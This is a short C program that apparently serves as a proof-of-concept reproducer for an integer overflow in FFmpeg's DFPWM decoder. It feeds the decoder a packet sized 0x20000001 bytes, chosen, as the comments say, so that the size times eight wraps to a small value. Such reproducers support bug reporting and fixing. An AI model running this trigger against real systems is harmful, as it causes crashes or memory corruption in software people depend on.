#include <stdio.h>
#include <string.h>

#include "libavutil/pixfmt.h"
#include "libavcodec/avcodec.h"
#include "libavutil/channel_layout.h"
#include "libavutil/frame.h"
#include "libavutil/mem.h"

int main(void) {
    const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_DFPWM);
    if (!codec) {
        fprintf(stderr, "decoder not found\n");
        return 1;
    }

    AVCodecContext *ctx = avcodec_alloc_context3(codec);
    if (!ctx)
        return 1;

    av_channel_layout_default(&ctx->ch_layout, 1);
    ctx->sample_rate = 1;
    fprintf(stderr, "configured sample_rate=%d channels=%d\n",
            ctx->sample_rate, ctx->ch_layout.nb_channels);

    AVDictionary *opts = NULL;
    av_dict_set_int(&opts, "sample_rate", 48000, 0);

    if (avcodec_open2(ctx, codec, &opts) < 0) {
        fprintf(stderr, "open failed\n");
        return 1;
    }

    AVPacket *pkt = av_packet_alloc();
    AVFrame  *frame = av_frame_alloc();
    if (!pkt || !frame)
        return 1;

    /* size chosen so (size * 8) overflows 32-bit signed to a small positive value */
    pkt->size = 0x20000001; /* 536,870,913 bytes */
    pkt->data = av_malloc(pkt->size);
    if (!pkt->data) {
        fprintf(stderr, "alloc failed\n");
        return 1;
    }
    memset(pkt->data, 0, pkt->size);

    if (avcodec_send_packet(ctx, pkt) < 0) {
        fprintf(stderr, "send failed\n");
        return 1;
    }

    /* The overflow happens while decoding this packet. */
    int ret = avcodec_receive_frame(ctx, frame);
    fprintf(stderr, "receive ret=%d\n", ret);

    return 0;
}
